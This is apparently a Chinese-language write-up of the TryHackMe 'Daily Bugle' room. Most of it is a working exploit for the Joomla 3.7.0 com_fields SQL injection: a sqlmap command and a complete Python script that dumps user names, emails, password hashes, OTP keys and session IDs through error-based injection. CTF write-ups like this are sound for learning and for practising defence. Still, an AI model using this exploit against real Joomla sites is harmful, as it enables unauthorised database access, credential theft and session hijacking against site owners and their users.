【THM】Daily Bugle

Daily Bugle

信息收集

可以在如图所示路径找到版本信息

去exploit db找到可利用漏洞

使用以下exp

sqlmap -u "http://10.10.161.57/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

但是太慢，我们这里用python脚本

#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import os
import random
import time
import binascii


def extract_token(resp):
	match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
	if match is None:
		print(" [!] Cannot find CSRF token")
		return None
	return match.group(1)


def parse_options():
	parser = argparse.ArgumentParser(description='Jooma Exploit')
	parser.add_argument('url', help='Base URL for Joomla site')
	return parser.parse_args()


def build_sqli(colname, morequery):
	return "(SELECT " + colname + " " + morequery + ")"

def joomla_370_sqli_extract(options, sess, token, colname, morequery):
	sqli = build_sqli("LENGTH("+colname+")", morequery)
	length = joomla_370_sqli(options, sess, token, sqli)
	if not length:
		return None
	length = int(length)
	maxbytes = 30
	offset = 0
	result = ''
	while length > offset:
		sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)
		value = joomla_370_sqli(options, sess, token, sqli)
		if not value:
			print(" [!] Failed to retrieve string for query:", sqli)
			return None
		value = binascii.unhexlify(value)
		result += value
		offset += len(value)
	return result


def joomla_370_sqli(options, sess, token, sqli):
	sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"
	data = {
		'option': 'com_fields',
		'view': 'fields',
		'layout': 'modal',
		'list[fullordering]': sqli_full,
		token: '1',
	}
	resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False)
	match = re.search(r'XPATH syntax error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)
	if match:
		match = match.group(1).strip()
		if match[0] != ':' and match[-1] != ':':
			return None
		return match[1:-1]


def extract_joomla_tables(options, sess, token):
	tables = list()
	first = False
	offset = 0
	while True:
		result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
		if result is None:
			if first:
				print("[!] Failed to retrieve first table name!")
				return False
			break
		tables.append(result)
		print("  -  Found table:", result)
		first = False
		offset += 1
	return tables


def extract_joomla_users(options, sess, token, table_name):
	users = list()
	offset = 0
	first = False
	print("  -  Extracting users from", table_name)
	while True:
		result = joomla_370_sqli_extract(options, sess, token, "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)", "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )		
		if result is None:
			if first:
				print("[!] Failed to retrieve user from table!")
				return False
			break
		result = result.split('|')
		print(" [$] Found user",result)
		first = False
		offset += 1
		users.append(result)
	return users




def extract_joomla_sessions(options, sess, token, table_name):
	sessions = list()
	offset = 0
	first = False
	print("  -  Extracting sessions from", table_name)
	while True:
		result = joomla_370_sqli_extract(options, sess, token, "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0 LIMIT %d,1" % (table_name, offset) )		
		if result is None:
			if first:
				print("[!] Failed to retrieve session from table!")
				return False
			break
		result = result.split('|')
		print(" [$] Found session", result)
		first = False
		offset += 1
		sessions.append(result)
	return sessions




def pwn_joomla_again(options):
	sess = requests.Session()

	print(" [-] Fetching CSRF token")
	resp = sess.get(options.url + "/index.php/component/users/?view=login")	
	token = extract_token(resp)
	if not token:
		return False

	# Verify that we can perform SQLi
	print(" [-] Testing SQLi")	
	result = joomla_370_sqli(options, sess, token, "128+127")	
	if result != "255":
		print(" [!] Could not find SQLi output!")
		return False

	tables = extract_joomla_tables(options, sess, token)

	for table_name in tables:
		table_prefix = table_name[:-5]
		extract_joomla_users(options, sess, token, table_name)
		extract_joomla_sessions(options, sess, token, table_prefix + 'session')

	return True

def print_logo():
	clear = "\x1b[0m"
	colors = [31, 32, 33, 34, 35, 36]

	logo = """                                                                                                                    
    .---.    .-'''-.        .-'''-.                                                           
    |   |   '   _    \     '   _    \                            .---.                        
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .           
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|           
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |           
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |           
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.    
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \   
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |   
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |   
 __.'   '                                              |/\'..' / '---'/ /   | |_| |     | |   
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.  
|____.'                                                                `--'  `" '---'   '---' 
"""
	for line in logo.split("\n"):
		sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
		#time.sleep(0.05)

def main(base_url):	
	options = parse_options()
	options.url = options.url.rstrip('/')
	print_logo()
	pwn_joomla_again(options)

if __name__ == "__main__":
	sys.exit(main("http://192.168.10.100:8080/joomla"))